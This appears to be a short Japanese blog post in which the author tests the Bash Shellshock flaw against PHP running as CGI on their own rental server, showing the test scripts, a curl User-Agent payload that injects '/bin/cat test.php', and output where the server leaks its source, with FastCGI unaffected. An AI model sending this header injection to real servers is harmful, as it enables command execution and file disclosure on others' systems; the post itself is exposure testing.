タイトルはパクリ
元記事: BASHの脆弱性でCGIスクリプトにアレさせてみました – ブログ – ワルブリックス株式会社
sakura のレンタルサーバが cgi モードで php 動かしてるよなーと思ってテストしてみたらできました。
# テストスクリプトは削除済みです。
test.php
<?php header( "Content-type: text/plain" ); echo "Hey, I'm a PHP script so wouldn't be affected, right?\n"; exec('/usr/local/bin/bash '.dirname(__FILE__)."/test.sh", $outputs); //exec('df -h', $outputs); foreach ($outputs as $output) { echo $output."\n"; }
test.sh
#!/usr/local/bin/bash echo "Content-type: text/plain" echo echo "Hi! I'm an ordinary CGI script which is executed by /usr/local/bin/bash"
結果 : Apache CGI版 PHP
$ curl -A '() { :;}; echo Content-type:text/plain;echo;/bin/cat test.php' http://wokamoto.sakura.ne.jp/test.php Hey, I'm a PHP script so wouldn't be affected, right? Content-type:text/plain <?php header( "Content-type: text/plain" ); echo "Hey, I'm a PHP script so wouldn't be affected, right?\n"; exec("/usr/local/bin/bash ".dirname(__FILE__)."/test.sh", $outputs); //exec('df -h', $outputs); foreach ($outputs as $output) { echo $output."\n"; }
影響を受けるのは exec() で bash を呼び出してる時だけで exec('df -h', $outputs);
の時は問題無いです。
fastcgi で動いてる網元AMIでは、同じコードでも影響受けなかった。
結果 : fastcgi (網元AMI)
$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat test.php" test.dogmap.jp/test.php Hey, I'm a PHP script so wouldn't be affected, right? Content-type: text/plain Hi! I'm an ordinary CGI script which is executed by /bin/bash